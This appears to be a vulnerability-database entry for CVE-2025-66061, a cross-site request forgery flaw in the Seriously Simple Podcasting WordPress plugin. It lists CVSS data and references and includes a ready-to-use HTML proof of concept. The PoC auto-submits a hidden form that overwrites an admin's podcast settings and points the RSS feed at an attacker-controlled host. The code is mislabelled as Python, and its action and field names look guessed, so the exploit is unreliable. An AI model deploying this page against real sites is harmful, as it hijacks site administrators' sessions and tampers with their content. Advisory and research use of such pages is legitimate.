CVE-2025-66061

Description

Cross-Site Request Forgery (CSRF) vulnerability in Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting allows Cross Site Request Forgery.This issue affects Seriously Simple Podcasting: from n/a through <= 3.13.0.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:castos:seriously_simple_podcasting:*:*:*:*:*:wordpress:*:* - VULNERABLE

Seriously Simple Podcasting <= 3.13.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-66061 -->
<!-- This PoC demonstrates how an attacker can trick an authenticated admin -->
<!-- into modifying Seriously Simple Podcasting settings without their knowledge -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-66061</title>
</head>
<body>
    <h1>CSRF PoC for Seriously Simple Podcasting Plugin</h1>
    <p>If the admin visits this page while logged in, their podcast settings will be modified.</p>
    
    <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
        <!-- Required nonce verification is missing in vulnerable version -->
        <input type="hidden" name="action" value="ssp_settings">
        <input type="hidden" name="podcast_title" value="Malicious Podcast Title - Hacked">
        <input type="hidden" name="podcast_description" value="This site has been compromised via CSRF">
        <input type="hidden" name="rss_feed_url" value="https://attacker-controlled-site.com/feed.xml">
        <input type="hidden" name="submit" value="Save Settings">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
        console.log('CSRF request sent successfully');
    </script>
    
    <!-- Alternative: Image tag-based request (older technique) -->
    <!-- <img src="http://target-site/wp-admin/admin-ajax.php?action=ssp_settings&podcast_title=Hacked" width="0" height="0"> -->
</body>
</html>

<!-- Mitigation: Add nonce verification in plugin code -->
<!-- Example fix in PHP: -->
<!-- if (!wp_verify_nonce($_POST['nonce'], 'ssp_settings_nonce')) { -->
<!--     wp_die('Security check failed'); -->
<!-- } -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66061
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66061
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66061/
[4] VulDB https://vuldb.com/cve/CVE-2025-66061
[5] https://patchstack.com/database/Wordpress/Plugin/seriously-simple-podcasting/vulnerability/wordpress-seriously-simple-podcasting-plugin-3-13-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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